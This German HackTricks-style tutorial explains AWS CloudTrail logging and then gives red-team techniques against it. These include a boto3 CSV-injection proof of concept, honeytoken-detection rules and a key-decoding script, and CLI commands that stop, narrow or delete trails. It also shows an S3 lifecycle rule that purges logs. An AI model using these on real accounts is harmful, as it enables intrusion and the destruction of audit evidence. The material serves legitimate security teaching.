AWS - CloudTrail Enum

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

CloudTrail

AWS CloudTrail zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie. Es erfasst detaillierte Ereignisprotokolle, einschließlich wer was wann und von wo aus getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, unterstützt bei der Sicherheitsanalyse, der Compliance-Prüfung und der Nachverfolgung von Ressourcenänderungen. CloudTrail ist unerlässlich, um das Verhalten von Benutzern und Ressourcen zu verstehen, die Sicherheitslage zu verbessern und die Einhaltung gesetzlicher Vorschriften sicherzustellen.

Jedes protokollierte Ereignis enthält:

  • Den Namen der aufgerufenen API: eventName

  • Den aufgerufenen Dienst: eventSource

  • Die Zeit: eventTime

  • Die IP-Adresse: SourceIPAddress

  • Die Agenten-Methode: userAgent. Beispiele:

  • Signing.amazonaws.com - Von AWS Management Console

  • console.amazonaws.com - Root-Benutzer des Kontos

  • lambda.amazonaws.com - AWS Lambda

  • Die Anforderungsparameter: requestParameters

  • Die Antwortelemente: responseElements

Ereignisse werden ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden Protokolldateien ungefähr 15 Minuten später an S3 geliefert. CloudTrail-Protokolle können über Konten und Regionen hinweg aggregiert werden. CloudTrail ermöglicht die Verwendung von Protokolldateiintegrität, um sicherzustellen, dass Ihre Protokolldateien unverändert geblieben sind, seit CloudTrail sie Ihnen geliefert hat. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt. Beim Erstellen eines Trails ermöglichen die Ereignisauswähler, den Trail zu protokollieren: Management-, Daten- oder Insight-Ereignisse.

Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die darauf zugreifen können. Für zusätzliche Sicherheit können Sie jedoch SSE mit KMS und Ihren eigenen Schlüsseln verwenden.

Die Protokolle werden in einem S3-Bucket mit diesem Namensformat gespeichert:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Der BucketName lautet: aws-cloudtrail-logs-<accountid>-<random>

  • Beispiel: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Innerhalb jedes Ordners hat jedes Protokoll einen Namen nach diesem Format: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Benennungskonvention für Protokolldateien

Darüber hinaus befinden sich Digest-Dateien (zur Überprüfung der Dateiintegrität) im gleichen Bucket in:

Protokolle aus mehreren Konten aggregieren

  • Erstellen Sie einen Trail im AWS-Konto, in dem die Protokolldateien geliefert werden sollen

  • Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den plattformübergreifenden Zugriff für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt

  • Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie den in Schritt 1 erstellten Bucket aus

Auch wenn Sie alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle aus mehreren Konten nicht in einem CloudWatch Logs aggregieren, das zu einem einzigen AWS-Konto gehört.

Denken Sie daran, dass ein Konto verschiedene Trails von CloudTrail aktiviert haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.

CloudTrail von allen Org-Konten in 1

Beim Erstellen eines CloudTrail ist es möglich, anzugeben, dass CloudTrail für alle Konten in der Organisation aktiviert wird und die Protokolle in nur einem Bucket gespeichert werden:

Auf diese Weise können Sie CloudTrail in allen Regionen aller Konten einfach konfigurieren und die Protokolle in einem Konto zentralisieren (das Sie schützen sollten).

Überprüfung der Protokolldateien

Sie können überprüfen, ob die Protokolle nicht verändert wurden, indem Sie ausführen

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs zu CloudWatch

CloudTrail kann automatisch Logs an CloudWatch senden, sodass Sie Alarme einrichten können, die Sie warnen, wenn verdächtige Aktivitäten durchgeführt werden. Beachten Sie, dass eine Rolle erstellt werden muss, die diese Aktion erlaubt, damit CloudTrail die Logs an CloudWatch senden kann. Wenn möglich, wird empfohlen, die Standardrolle von AWS für diese Aktionen zu verwenden. Diese Rolle ermöglicht es CloudTrail:

  • CreateLogStream: Dies erlaubt das Erstellen von CloudWatch Logs Log-Streams

  • PutLogEvents: Übermittelt CloudTrail-Logs an CloudWatch Logs Log-Stream

Event History

CloudTrail Event History ermöglicht es Ihnen, die aufgezeichneten Logs in einer Tabelle zu inspizieren:

Insights

CloudTrail Insights analysiert automatisch Schreibverwaltungsereignisse von CloudTrail-Trails und warnt Sie vor ungewöhnlichen Aktivitäten. Zum Beispiel, wenn es eine Zunahme von TerminateInstance-Ereignissen gibt, die von den etablierten Baselines abweichen, sehen Sie dies als ein Insight-Ereignis. Diese Ereignisse machen das Finden und Reagieren auf ungewöhnliche API-Aktivitäten einfacher als je zuvor.

Die Insights werden im selben Bucket wie die CloudTrail-Logs gespeichert in: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sicherheit

CloudTrail Log File Integrity

  • Überprüfen, ob Logs manipuliert wurden (modifiziert oder gelöscht)

  • Verwendet Digest-Dateien (erstellt Hash für jede Datei)

    • SHA-256-Hashing

    • SHA-256 mit RSA für digitale Signatur

    • privater Schlüssel im Besitz von Amazon

  • Erstellt jede Stunde eine Digest-Datei (jede Stunde zur vollen Stunde)

Unbefugten Zugriff verhindern

  • Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Admin-Zugriff

    • Prüfer —> Nur-Lese-Zugriff

  • Verwenden Sie SSE-S3/SSE-KMS, um die Logs zu verschlüsseln

Verhindern, dass Log-Dateien gelöscht werden

  • Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien

  • Konfigurieren Sie S3 MFA-Delete

  • Überprüfen Sie mit Log File Validation

Access Advisor

AWS Access Advisor basiert auf den letzten 400 Tagen AWS CloudTrail-Logs, um seine Erkenntnisse zu sammeln. CloudTrail erfasst eine Historie von AWS API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto gemacht wurden. Access Advisor nutzt diese Daten, um zu zeigen, wann Dienste zuletzt genutzt wurden. Durch die Analyse der CloudTrail-Logs kann Access Advisor bestimmen, welche AWS-Dienste ein IAM-Benutzer oder eine Rolle genutzt hat und wann dieser Zugriff erfolgte. Dies hilft AWS-Administratoren, fundierte Entscheidungen über die Verfeinerung von Berechtigungen zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht genutzt wurden, und potenziell zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.

Daher informiert Access Advisor über die unnötigen Berechtigungen, die Benutzern gegeben werden, sodass der Administrator sie entfernen kann.

Aktionen

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Es ist möglich, eine CSV-Injection innerhalb von CloudTrail durchzuführen, die beliebigen Code ausführt, wenn die Protokolle in CSV exportiert und mit Excel geöffnet werden. Der folgende Code erzeugt einen Protokolleintrag mit einem fehlerhaften Trail-Namen, der die Nutzlast enthält:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Für weitere Informationen über CSV-Injections besuchen Sie die Seite:

Für weitere Informationen über diese spezielle Technik besuchen Sie https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Erkennung umgehen

HoneyTokens umgehen

Honeytokens werden erstellt, um die Exfiltration sensibler Informationen zu erkennen. Im Falle von AWS sind es AWS-Schlüssel, deren Nutzung überwacht wird. Wenn etwas eine Aktion mit diesem Schlüssel auslöst, muss jemand diesen Schlüssel gestohlen haben.

Allerdings verwenden Honeytokens wie die von Canarytokens, SpaceCrab, SpaceSiren entweder erkennbare Kontonamen oder dieselbe AWS-Konto-ID für alle ihre Kunden. Wenn Sie also den Kontonamen und/oder die Konto-ID erhalten können, ohne dass Cloudtrail ein Protokoll erstellt, könnten Sie wissen, ob der Schlüssel ein Honeytoken ist oder nicht.

Pacu hat einige Regeln, um zu erkennen, ob ein Schlüssel zu Canarytokens, SpaceCrab, SpaceSiren** gehört:**

  • Wenn canarytokens.org im Rollennamen erscheint oder die Konto-ID 534261010715 in der Fehlermeldung erscheint.

  • Bei neueren Tests verwenden sie die Konto-ID 717712589309 und haben immer noch die Zeichenfolge canarytokens.com im Namen.

  • Wenn SpaceCrab im Rollennamen in der Fehlermeldung erscheint.

  • SpaceSiren verwendet uuids zur Generierung von Benutzernamen: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Wenn der Name wie zufällig generiert aussieht, besteht eine hohe Wahrscheinlichkeit, dass es sich um einen HoneyToken handelt.

Die Konto-ID aus der Schlüssel-ID erhalten

Sie können die Konto-ID aus der codierten Information im Zugriffsschlüssel wie hier erklärt erhalten und die Konto-ID mit Ihrer Liste von Honeytokens AWS-Konten überprüfen:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

Kein Log erzeugen

Die effektivste Technik hierfür ist eigentlich eine einfache. Verwenden Sie einfach den Schlüssel, den Sie gerade gefunden haben, um auf einen Dienst in Ihrem eigenen Angreifer-Konto zuzugreifen. Dies wird CloudTrail dazu bringen, ein Log in IHREM EIGENEN AWS-Konto zu erzeugen und nicht im Konto des Opfers.

Das Ergebnis wird Ihnen einen Fehler anzeigen, der die Konto-ID und den Kontonamen angibt, sodass Sie sehen können, ob es sich um einen Honeytoken handelt.

AWS-Dienste ohne Logs

In der Vergangenheit gab es einige AWS-Dienste, die keine Logs an CloudTrail senden (finden Sie eine Liste hier). Einige dieser Dienste werden mit einem Fehler antworten, der die ARN der Schlüsselrolle enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht, darauf zuzugreifen.

Auf diese Weise kann ein Angreifer die ARN des Schlüssels erhalten, ohne ein Log auszulösen. In der ARN kann der Angreifer die AWS-Konto-ID und den Namen sehen. Es ist einfach, die Konto-IDs und Namen der HoneyToken-Unternehmen zu erkennen, sodass ein Angreifer auf diese Weise feststellen kann, ob der Token ein HoneyToken ist.

Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Logs zu erstellen, jetzt behoben sind. Möglicherweise müssen Sie also Ihre eigenen finden...

Für weitere Informationen siehe die original research.

Zugriff auf Dritte Infrastruktur

Bestimmte AWS-Dienste werden einige Infrastrukturen bereitstellen, wie Datenbanken oder Kubernetes-Cluster (EKS). Ein Benutzer, der direkt mit diesen Diensten spricht (wie die Kubernetes-API), wird die AWS-API nicht verwenden, sodass CloudTrail diese Kommunikation nicht sehen kann.

Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, lokal ein Token generieren und direkt mit dem API-Dienst sprechen, ohne von CloudTrail entdeckt zu werden.

Mehr Infos in:

AWS - EKS Post Exploitation

CloudTrail-Konfiguration ändern

Trails löschen

aws cloudtrail delete-trail --name [trail-name]

Stop trails

aws cloudtrail stop-logging --name <trail_name>

Start trails

aws cloudtrail start-logging --name <trail_name>

Liste der Trails

aws cloudtrail describe-trails

CloudTrail Logs

aws cloudtrail lookup-events

CloudTrail Logs für eine bestimmte Ressource

aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=<resource_name>

CloudTrail Logs für eine bestimmte Benutzeraktion

aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=<username>

CloudTrail Logs für eine bestimmte Event-ID

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventId,AttributeValue=<event_id>

CloudTrail Logs für eine bestimmte Event-Quelle

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventSource,AttributeValue=<event_source>

CloudTrail Logs für eine bestimmte Event-Zeit

aws cloudtrail lookup-events --start-time <start_time> --end-time <end_time>

CloudTrail Logs für eine bestimmte Event-Namen

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=<event_name>

CloudTrail Logs für eine bestimmte Event-Region

aws cloudtrail lookup-events --lookup-attributes AttributeKey=AWSRegion,AttributeValue=<region>

CloudTrail Logs für eine bestimmte IP-Adresse

aws cloudtrail lookup-events --lookup-attributes AttributeKey=SourceIPAddress,AttributeValue=<ip_address>
aws cloudtrail stop-logging --name [trail-name]

Deaktivieren des Multi-Region-Loggings

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deaktivieren der Protokollierung durch Ereignisauswähler

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Das "ReadWriteType": "ReadOnly" gibt an, dass der Ereignis-Selektor nur Leseereignisse erfassen soll (CloudTrail Insights werden also keine Schreibereignisse überprüfen, zum Beispiel).

Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen anpassen.

Protokoll-Löschung über S3-Lebenszyklusrichtlinie

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Ändern der Bucket-Konfiguration

  • Löschen des S3-Buckets

  • Ändern der Bucket-Richtlinie, um jegliche Schreibvorgänge vom CloudTrail-Dienst zu verweigern

  • Hinzufügen einer Lebenszyklus-Richtlinie zum S3-Bucket, um Objekte zu löschen

  • Deaktivieren des KMS-Schlüssels, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird

Cloudtrail Ransomware

S3 Ransomware

Du könntest einen asymmetrischen Schlüssel generieren und CloudTrail die Daten mit diesem Schlüssel verschlüsseln lassen und den privaten Schlüssel löschen, sodass die CloudTrail-Inhalte nicht wiederhergestellt werden können. Dies ist im Grunde eine S3-KMS Ransomware, wie erklärt in:

AWS - S3 Post Exploitation

KMS Ransomware

Dies ist eine einfachere Möglichkeit, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:

AWS - KMS Post Exploitation

Referenzen

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Last updated